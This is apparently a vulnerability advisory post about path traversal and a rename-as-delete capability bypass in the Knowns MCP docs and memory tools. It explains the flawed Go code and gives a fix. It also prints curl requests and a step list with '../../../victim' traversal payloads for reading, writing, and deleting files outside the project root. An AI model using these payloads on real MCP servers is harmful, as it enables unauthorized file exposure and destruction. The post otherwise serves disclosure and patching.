Listen to this Post
Knowns MCP docs and memory tools contain multiple unrestricted path traversal flaws.
The storage layer in doc_store.go and memory_store.go builds filesystem paths from user-controlled input.
Functions Get, Create, Update, Rename, and Delete call filepath.Join() with a base directory and untrusted path or id.
filepath.Join() resolves ../ sequences, so the final absolute path can escape docsDir() or memory layer directories.
No post-Join containment check verifies that the resolved path remains inside the intended sandbox.
No rejection of absolute paths, traversal sequences, or encoded path separators is performed.
MCP handlers in doc.go and memory.go pass path, folder, newPath, and id directly to storage without sanitization.
DocStore.Get() can read files outside the project root through docs.get with a crafted path.
DocStore.Create() can write files outside the project root through docs.create with a crafted folder or path.
DocStore.Rename() writes to a new location and removes the old file with os.Remove(oldAbsPath).
DocStore.Delete() removes files at joined paths without validating containment.
MemoryStore.GetInLayer(), Create(), Update(), and Delete() join user-controlled id with MemoryFileName(id) without validation.
Memory operations can therefore read, overwrite, or delete files outside the project root.
The docs.update action accepts a newPath parameter and triggers Rename() when oldPath differs from doc.Path.
Rename() performs a file deletion via os.Remove(oldAbsPath) as part of the rename workflow.
In permissions/registry.go, docs.update is classified as CapWrite instead of CapDelete.
A read-write-no-delete preset permits CapWrite but denies CapDelete.
An attacker with that preset can call docs.update with path and newPath to delete arbitrary files outside the project root.
This is a capability misclassification, CWE-863, combined with path traversal, CWE-22.
The vulnerability enables arbitrary file read, write, and deletion operations outside the Knowns MCP sandbox.
The root cause is missing path containment in DocStore and MemoryStore.
The vulnerable pattern is absPath := filepath.Join(baseDir, filepath.FromSlash(userInput)).
The missing controls are strings.HasPrefix(absPath, baseDir), filepath.Rel checks, and “..” rejection.
Rename-as-delete turns a write-classified operation into an unauthorized deletion primitive.
If the server is started without a password, the previously identified Auth Bypass makes all MCP tools accessible without credentials.
That compounding factor makes the path traversal a zero-credential attack in that configuration.
A patch is available at New Release according to the source.
The does not provide a CVE identifier, so no CVE is invented here.
DailyCVE Form:
Platform: Knowns MCP
Version: Not specified
Vulnerability: Path Traversal Misclassification
Severity: Critical
date: Not provided
Prediction: Patch available now
(end of form)
What Undercode Say:
Analytics
docs.get path traversal read
curl -s -X POST http://TARGET/mcp \
-d '{"tool":"docs.get","args":{"path":"../../../victim/secret"}}'
docs.create path traversal write
curl -s -X POST http://TARGET/mcp \
-d '{"tool":"docs.create","args":{"folder":"../../../victim","path":"secret"}}'
docs.update rename-as-delete bypass
curl -s -X POST http://TARGET/mcp \
-d '{"tool":"docs.update","args":{"path":"../outside/secret.md","newPath":"../../../victim/renamed.md"}}'
memory.update path traversal read/write
curl -s -X POST http://TARGET/mcp \
-d '{"tool":"memory.update","args":{"id":"x/../../../../victim/secret"}}'
// Vulnerable DocStore pattern
absPath := filepath.Join(ds.docsDir(), filepath.FromSlash(path)+".md")
// Missing: containment check after filepath.Join
// Vulnerable MemoryStore pattern
absPath := filepath.Join(dir, models.MemoryFileName(id))
// Missing: rejection of ".." or absolute paths
// Rename-as-delete in doc_store.go
if oldAbsPath != newAbsPath {
if err := os.Remove(oldAbsPath); err != nil && !os.IsNotExist(err) {
return err
}
}
// Capability misclassification in registry.go
"docs.update": {Capability: CapWrite, Target: TargetDoc, Risk: RiskMedium}
Exploit: (Educational Purposes!)
1. Read outside project root docs.get path="../../../victim/secret" 2. Write outside project root docs.create folder="../../../victim" 3. Delete outside project root via Rename-as-Delete docs.update path="../outside/secret.md" newPath="../../../victim/renamed.md" 4. Memory read/write outside project root memory.update id="x/../../../../victim/secret"
Protection: from this CVE
absPath := filepath.Join(baseDir, filepath.FromSlash(userInput))
cleanBase, _ := filepath.Abs(baseDir)
cleanPath, _ := filepath.Abs(absPath)
rel, err := filepath.Rel(cleanBase, cleanPath)
if err != nil || strings.HasPrefix(rel, "..") || filepath.IsAbs(rel) {
return fmt.Errorf("path escapes base directory")
}
// Reject traversal and absolute input before Join
if strings.Contains(userInput, "..") || filepath.IsAbs(userInput) {
return fmt.Errorf("invalid path")
}
// Classify docs.update with newPath as CapDelete when deletion occurs
"docs.update": {Capability: CapDelete, Target: TargetDoc, Risk: RiskMedium}
// Require authentication even when no password is configured
Impact:
Arbitrary file read outside project root.
Arbitrary file write outside project root.
Arbitrary file deletion outside project root.
CapDelete restriction bypass via docs.update newPath.
Zero-credential attack when server runs without password.
Project sandbox and host files may be destroyed or exposed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
